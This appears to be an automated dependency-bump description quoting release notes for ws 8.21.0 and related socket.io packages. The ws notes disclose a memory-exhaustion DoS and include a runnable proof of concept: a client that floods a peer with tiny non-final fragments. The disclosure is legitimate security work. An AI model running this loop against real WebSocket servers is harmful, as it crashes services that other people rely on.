Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• 5d9b316 [dist] 8.20.1
• c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
• ce2a3d6 [ci] Test on node 26
• 58e45b8 [ci] Do not test on node 25
• 5f26c24 [ci] Run the lint step on node 24
• 8439255 [dist] 8.20.0
• d3503c1 [minor] Export the PerMessageDeflate class and header utils
• Additional commits viewable in compare view

Sourced from engine.io's releases.

engine.io@6.6.9

The ws dependency was bumped to ~8.21.0 following CVE-2026-48779.

Dependencies

• ws@~8.21.0 (diff)

• 9dbec81 chore(release): engine.io@6.6.9
• 3ad4e1f docs: improve example with PM2
• 0e5afee docs: add example with PM2
• eab9623 docs(eio): correct maxHttpBufferSize default in JSDoc (#5508)
• c17890c docs: add documentation about WebTransport
• 20df6ae docs(examples): add client-side load balancing example
• 16d1923 ci(publish): enable staged publishing
• ad48a9b docs(examples): add example with HTTP/2
• 190572d refactor(eio-client): remove XMLHttpRequest from the definition file
• fad463c docs(examples): fix duplicate self messages (#5341)
• Additional commits viewable in compare view

Sourced from socket.io-adapter's releases.

socket.io-adapter@2.5.8

The ws dependency was bumped to ~8.21.0 following CVE-2026-48779.

• ac83bfa chore(release): socket.io-adapter@2.5.8
• 22cc483 chore(release): engine.io-client@6.6.6
• 9dbec81 chore(release): engine.io@6.6.9
• 3ad4e1f docs: improve example with PM2
• 0e5afee docs: add example with PM2
• eab9623 docs(eio): correct maxHttpBufferSize default in JSDoc (#5508)
• c17890c docs: add documentation about WebTransport
• 20df6ae docs(examples): add client-side load balancing example
• 16d1923 ci(publish): enable staged publishing
• ad48a9b docs(examples): add example with HTTP/2
• Additional commits viewable in compare view

Sourced from socket.io-client's releases.

socket.io-client@4.8.3

There were some minor bug fixes on the server side, which mandate a client bump.

Dependencies

• engine.io-client@~6.6.1 (no change)
• ws@~8.18.3 (diff)

socket.io-client@4.8.2

Bug Fixes

• bundle: do not mangle the "_placeholder" attribute (bis) (cdae019)
• drain queue before emitting "connect" (#5259) (d19928e)

Dependencies

• engine.io-client@~6.6.1 (no change)
• ws@~8.17.1 (no change)

socket.io-client@4.8.1

Bug Fixes

• bundle: do not mangle the "_placeholder" attribute (ca9e994)

Dependencies

• engine.io-client@~6.6.1 (no change)
• ws@~8.17.1 (no change)

socket.io-client@4.8.0

Features

Custom transport implementations

The transports option now accepts an array of transport implementations:

import { io } from "socket.io-client";
import { XHR, WebSocket } from "engine.io-client";
const socket = io({
transports: [XHR, WebSocket]
});

Here is the list of provided implementations:

| Transport | Description |

... (truncated)

• e9e5bed chore(release): socket.io-client@4.8.3
• 9581f9b fix(sio): do not throw when calling io.close() on a stopped server
• 579d43f refactor: remove unused files
• ee9aac3 chore(release): socket.io-parser@4.2.5
• 968277c chore(release): socket.io-adapter@2.5.6
• 2bf16bd chore(release): engine.io-client@6.6.4
• ad61607 docs(eio): fix link in the release notes
• dd71792 chore(release): socket.io@4.8.2
• bb0b480 fix(sio): improve io.close() function (#5344)
• 161be91 test(sio): pin version of the client bundle in the tests
• Additional commits viewable in compare view

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